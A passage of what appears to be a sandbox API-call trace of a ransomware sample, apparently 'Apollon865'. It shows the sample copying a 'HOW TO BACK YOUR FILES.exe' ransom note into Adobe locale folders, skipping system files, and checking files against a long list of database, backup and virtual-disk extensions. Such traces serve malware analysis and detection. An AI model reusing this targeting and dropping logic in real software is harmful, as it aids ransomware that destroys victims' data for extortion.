	[0056.419] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1
	[0056.419] lstrcmpiW (lpString1="ru_RU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.419] lstrcmpiW (lpString1="ru_RU", lpString2="Apollon865.txt.exe") returned 1
	[0056.419] lstrcmpiW (lpString1="ru_RU", lpString2=".") returned 1
	[0056.419] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ru_RU" | out: lpString1="ru_RU") returned="ru_RU"
	[0056.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0056.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b370
	[0056.419] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0056.419] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1
	[0056.419] lstrcmpiW (lpString1="sk_SK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.419] lstrcmpiW (lpString1="sk_SK", lpString2="Apollon865.txt.exe") returned 1
	[0056.419] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="sk_SK" | out: lpString1="sk_SK") returned="sk_SK"
	[0056.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0056.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b3e8
	[0056.420] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0056.420] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1
	[0056.420] lstrcmpiW (lpString1="sl_SI", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.420] lstrcmpiW (lpString1="sl_SI", lpString2="Apollon865.txt.exe") returned 1
	[0056.420] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="sl_SI" | out: lpString1="sl_SI") returned="sl_SI"
	[0056.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0056.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b460
	[0056.420] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fc70
	[0056.420] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1
	[0056.420] lstrcmpiW (lpString1="sv_SE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.420] lstrcmpiW (lpString1="sv_SE", lpString2="Apollon865.txt.exe") returned 1
	[0056.420] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="sv_SE" | out: lpString1="sv_SE") returned="sv_SE"
	[0056.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0056.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b4d8
	[0056.420] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0056.420] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1
	[0056.420] lstrcmpiW (lpString1="tr_TR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.420] lstrcmpiW (lpString1="tr_TR", lpString2="Apollon865.txt.exe") returned 1
	[0056.420] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="tr_TR" | out: lpString1="tr_TR") returned="tr_TR"
	[0056.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0056.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b550
	[0056.420] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0056.420] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1
	[0056.420] lstrcmpiW (lpString1="uk_UA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.420] lstrcmpiW (lpString1="uk_UA", lpString2="Apollon865.txt.exe") returned 1
	[0056.420] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="uk_UA" | out: lpString1="uk_UA") returned="uk_UA"
	[0056.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0056.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b5c8
	[0056.420] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fd70
	[0056.420] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
	[0056.421] lstrcmpiW (lpString1="zh_CN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.421] lstrcmpiW (lpString1="zh_CN", lpString2="Apollon865.txt.exe") returned 1
	[0056.421] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="zh_CN" | out: lpString1="zh_CN") returned="zh_CN"
	[0056.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0056.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b640
	[0056.421] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fc10
	[0056.421] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
	[0056.421] lstrcmpiW (lpString1="zh_TW", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.421] lstrcmpiW (lpString1="zh_TW", lpString2="Apollon865.txt.exe") returned 1
	[0056.421] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="zh_TW" | out: lpString1="zh_TW") returned="zh_TW"
	[0056.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0056.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b6b8
	[0056.421] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0056.421] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
	[0056.421] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.421] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0056.421] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW"
	[0056.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b6b8 | out: hHeap=0x580000) returned 1
	[0056.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0056.421] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned 55
	[0056.421] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW"
	[0056.421] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.421] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.426] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.426] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39b35ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39b35ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.426] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.426] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.426] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.426] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.426] lstrlenW (lpString="Apollon865") returned 10
	[0056.426] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.426] lstrlenW (lpString=".dll") returned 4
	[0056.426] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.426] lstrlenW (lpString=".lnk") returned 4
	[0056.427] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.427] lstrlenW (lpString=".ini") returned 4
	[0056.427] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.427] lstrlenW (lpString=".sys") returned 4
	[0056.427] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.427] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.427] lstrlenW (lpString="bak") returned 3
	[0056.427] lstrcmpiW (lpString1="cfg", lpString2="bak") returned 1
	[0056.427] lstrlenW (lpString="ba_") returned 3
	[0056.427] lstrcmpiW (lpString1="cfg", lpString2="ba_") returned 1
	[0056.427] lstrlenW (lpString="dbb") returned 3
	[0056.427] lstrcmpiW (lpString1="cfg", lpString2="dbb") returned -1
	[0056.427] lstrlenW (lpString="vmdk") returned 4
	[0056.427] lstrcmpiW (lpString1="pcfg", lpString2="vmdk") returned -1
	[0056.427] lstrlenW (lpString="rar") returned 3
	[0056.427] lstrcmpiW (lpString1="cfg", lpString2="rar") returned -1
	[0056.427] lstrlenW (lpString="zip") returned 3
	[0056.427] lstrcmpiW (lpString1="cfg", lpString2="zip") returned -1
	[0056.427] lstrlenW (lpString="tgz") returned 3
	[0056.427] lstrcmpiW (lpString1="cfg", lpString2="tgz") returned -1
	[0056.427] lstrlenW (lpString="vbox") returned 4
	[0056.427] lstrcmpiW (lpString1="pcfg", lpString2="vbox") returned -1
	[0056.427] lstrlenW (lpString="vdi") returned 3
	[0056.427] lstrcmpiW (lpString1="cfg", lpString2="vdi") returned -1
	[0056.427] lstrlenW (lpString="vhd") returned 3
	[0056.427] lstrcmpiW (lpString1="cfg", lpString2="vhd") returned -1
	[0056.427] lstrlenW (lpString="vhdx") returned 4
	[0056.427] lstrcmpiW (lpString1="pcfg", lpString2="vhdx") returned -1
	[0056.427] lstrlenW (lpString="avhd") returned 4
	[0056.427] lstrcmpiW (lpString1="pcfg", lpString2="avhd") returned 1
	[0056.427] lstrlenW (lpString="db") returned 2
	[0056.427] lstrcmpiW (lpString1="fg", lpString2="db") returned 1
	[0056.427] lstrlenW (lpString="db2") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="db2") returned -1
	[0056.428] lstrlenW (lpString="db3") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="db3") returned -1
	[0056.428] lstrlenW (lpString="dbf") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="dbf") returned -1
	[0056.428] lstrlenW (lpString="mdf") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="mdf") returned -1
	[0056.428] lstrlenW (lpString="mdb") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="mdb") returned -1
	[0056.428] lstrlenW (lpString="sql") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="sql") returned -1
	[0056.428] lstrlenW (lpString="sqlite") returned 6
	[0056.428] lstrcmpiW (lpString1="elpcfg", lpString2="sqlite") returned -1
	[0056.428] lstrlenW (lpString="sqlite3") returned 7
	[0056.428] lstrcmpiW (lpString1="helpcfg", lpString2="sqlite3") returned -1
	[0056.428] lstrlenW (lpString="sqlitedb") returned 8
	[0056.428] lstrcmpiW (lpString1=".helpcfg", lpString2="sqlitedb") returned -1
	[0056.428] lstrlenW (lpString="xml") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="xml") returned -1
	[0056.428] lstrlenW (lpString="$er") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="$er") returned 1
	[0056.428] lstrlenW (lpString="4dd") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="4dd") returned 1
	[0056.428] lstrlenW (lpString="4dl") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="4dl") returned 1
	[0056.428] lstrlenW (lpString="^^^") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="^^^") returned 1
	[0056.428] lstrlenW (lpString="abs") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="abs") returned 1
	[0056.428] lstrlenW (lpString="abx") returned 3
	[0056.428] lstrcmpiW (lpString1="cfg", lpString2="abx") returned 1
	[0056.428] lstrlenW (lpString="accdb") returned 5
	[0056.428] lstrcmpiW (lpString1="lpcfg", lpString2="accdb") returned 1
	[0056.428] lstrlenW (lpString="accdc") returned 5
	[0056.429] lstrcmpiW (lpString1="lpcfg", lpString2="accdc") returned 1
	[0056.429] lstrlenW (lpString="accde") returned 5
	[0056.429] lstrcmpiW (lpString1="lpcfg", lpString2="accde") returned 1
	[0056.429] lstrlenW (lpString="accdr") returned 5
	[0056.429] lstrcmpiW (lpString1="lpcfg", lpString2="accdr") returned 1
	[0056.429] lstrlenW (lpString="accdt") returned 5
	[0056.429] lstrcmpiW (lpString1="lpcfg", lpString2="accdt") returned 1
	[0056.429] lstrlenW (lpString="accdw") returned 5
	[0056.429] lstrcmpiW (lpString1="lpcfg", lpString2="accdw") returned 1
	[0056.429] lstrlenW (lpString="accft") returned 5
	[0056.429] lstrcmpiW (lpString1="lpcfg", lpString2="accft") returned 1
	[0056.429] lstrlenW (lpString="adb") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="adb") returned 1
	[0056.429] lstrlenW (lpString="adb") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="adb") returned 1
	[0056.429] lstrlenW (lpString="ade") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="ade") returned 1
	[0056.429] lstrlenW (lpString="adf") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="adf") returned 1
	[0056.429] lstrlenW (lpString="adn") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="adn") returned 1
	[0056.429] lstrlenW (lpString="adp") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="adp") returned 1
	[0056.429] lstrlenW (lpString="alf") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="alf") returned 1
	[0056.429] lstrlenW (lpString="ask") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="ask") returned 1
	[0056.429] lstrlenW (lpString="btr") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="btr") returned 1
	[0056.429] lstrlenW (lpString="cat") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="cat") returned 1
	[0056.429] lstrlenW (lpString="cdb") returned 3
	[0056.429] lstrcmpiW (lpString1="cfg", lpString2="cdb") returned 1
	[0056.430] lstrlenW (lpString="ckp") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="ckp") returned -1
	[0056.430] lstrlenW (lpString="cma") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="cma") returned -1
	[0056.430] lstrlenW (lpString="cpd") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="cpd") returned -1
	[0056.430] lstrlenW (lpString="dacpac") returned 6
	[0056.430] lstrcmpiW (lpString1="elpcfg", lpString2="dacpac") returned 1
	[0056.430] lstrlenW (lpString="dad") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="dad") returned -1
	[0056.430] lstrlenW (lpString="dadiagrams") returned 10
	[0056.430] lstrcmpiW (lpString1=".0.helpcfg", lpString2="dadiagrams") returned -1
	[0056.430] lstrlenW (lpString="daschema") returned 8
	[0056.430] lstrcmpiW (lpString1=".helpcfg", lpString2="daschema") returned -1
	[0056.430] lstrlenW (lpString="db-journal") returned 10
	[0056.430] lstrcmpiW (lpString1=".0.helpcfg", lpString2="db-journal") returned -1
	[0056.430] lstrlenW (lpString="db-shm") returned 6
	[0056.430] lstrcmpiW (lpString1="elpcfg", lpString2="db-shm") returned 1
	[0056.430] lstrlenW (lpString="db-wal") returned 6
	[0056.430] lstrcmpiW (lpString1="elpcfg", lpString2="db-wal") returned 1
	[0056.430] lstrlenW (lpString="dbc") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="dbc") returned -1
	[0056.430] lstrlenW (lpString="dbs") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="dbs") returned -1
	[0056.430] lstrlenW (lpString="dbt") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="dbt") returned -1
	[0056.430] lstrlenW (lpString="dbv") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="dbv") returned -1
	[0056.430] lstrlenW (lpString="dbx") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="dbx") returned -1
	[0056.430] lstrlenW (lpString="dcb") returned 3
	[0056.430] lstrcmpiW (lpString1="cfg", lpString2="dcb") returned -1
	[0056.430] lstrlenW (lpString="dct") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="dct") returned -1
	[0056.431] lstrlenW (lpString="dcx") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="dcx") returned -1
	[0056.431] lstrlenW (lpString="ddl") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="ddl") returned -1
	[0056.431] lstrlenW (lpString="dlis") returned 4
	[0056.431] lstrcmpiW (lpString1="pcfg", lpString2="dlis") returned 1
	[0056.431] lstrlenW (lpString="dp1") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="dp1") returned -1
	[0056.431] lstrlenW (lpString="dqy") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="dqy") returned -1
	[0056.431] lstrlenW (lpString="dsk") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="dsk") returned -1
	[0056.431] lstrlenW (lpString="dsn") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="dsn") returned -1
	[0056.431] lstrlenW (lpString="dtsx") returned 4
	[0056.431] lstrcmpiW (lpString1="pcfg", lpString2="dtsx") returned 1
	[0056.431] lstrlenW (lpString="dxl") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="dxl") returned -1
	[0056.431] lstrlenW (lpString="eco") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="eco") returned -1
	[0056.431] lstrlenW (lpString="ecx") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="ecx") returned -1
	[0056.431] lstrlenW (lpString="edb") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="edb") returned -1
	[0056.431] lstrlenW (lpString="epim") returned 4
	[0056.431] lstrcmpiW (lpString1="pcfg", lpString2="epim") returned 1
	[0056.431] lstrlenW (lpString="fcd") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="fcd") returned -1
	[0056.431] lstrlenW (lpString="fdb") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="fdb") returned -1
	[0056.431] lstrlenW (lpString="fic") returned 3
	[0056.431] lstrcmpiW (lpString1="cfg", lpString2="fic") returned -1
	[0056.432] lstrlenW (lpString="flexolibrary") returned 12
	[0056.432] lstrcmpiW (lpString1="10.0.helpcfg", lpString2="flexolibrary") returned -1
	[0056.432] lstrlenW (lpString="fm5") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="fm5") returned -1
	[0056.432] lstrlenW (lpString="fmp") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="fmp") returned -1
	[0056.432] lstrlenW (lpString="fmp12") returned 5
	[0056.432] lstrcmpiW (lpString1="lpcfg", lpString2="fmp12") returned 1
	[0056.432] lstrlenW (lpString="fmpsl") returned 5
	[0056.432] lstrcmpiW (lpString1="lpcfg", lpString2="fmpsl") returned 1
	[0056.432] lstrlenW (lpString="fol") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="fol") returned -1
	[0056.432] lstrlenW (lpString="fp3") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="fp3") returned -1
	[0056.432] lstrlenW (lpString="fp4") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="fp4") returned -1
	[0056.432] lstrlenW (lpString="fp5") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="fp5") returned -1
	[0056.432] lstrlenW (lpString="fp7") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="fp7") returned -1
	[0056.432] lstrlenW (lpString="fpt") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="fpt") returned -1
	[0056.432] lstrlenW (lpString="frm") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="frm") returned -1
	[0056.432] lstrlenW (lpString="gdb") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="gdb") returned -1
	[0056.432] lstrlenW (lpString="gdb") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="gdb") returned -1
	[0056.432] lstrlenW (lpString="grdb") returned 4
	[0056.432] lstrcmpiW (lpString1="pcfg", lpString2="grdb") returned 1
	[0056.432] lstrlenW (lpString="gwi") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="gwi") returned -1
	[0056.432] lstrlenW (lpString="hdb") returned 3
	[0056.432] lstrcmpiW (lpString1="cfg", lpString2="hdb") returned -1
	[0056.433] lstrlenW (lpString="his") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="his") returned -1
	[0056.433] lstrlenW (lpString="ib") returned 2
	[0056.433] lstrcmpiW (lpString1="fg", lpString2="ib") returned -1
	[0056.433] lstrlenW (lpString="idb") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="idb") returned -1
	[0056.433] lstrlenW (lpString="ihx") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="ihx") returned -1
	[0056.433] lstrlenW (lpString="itdb") returned 4
	[0056.433] lstrcmpiW (lpString1="pcfg", lpString2="itdb") returned 1
	[0056.433] lstrlenW (lpString="itw") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="itw") returned -1
	[0056.433] lstrlenW (lpString="jet") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="jet") returned -1
	[0056.433] lstrlenW (lpString="jtx") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="jtx") returned -1
	[0056.433] lstrlenW (lpString="kdb") returned 3
	[0056.433] lstrcmpiW (lpString1="cfg", lpString2="kdb") returned -1
	[0056.433] lstrlenW (lpString="kexi") returned 4
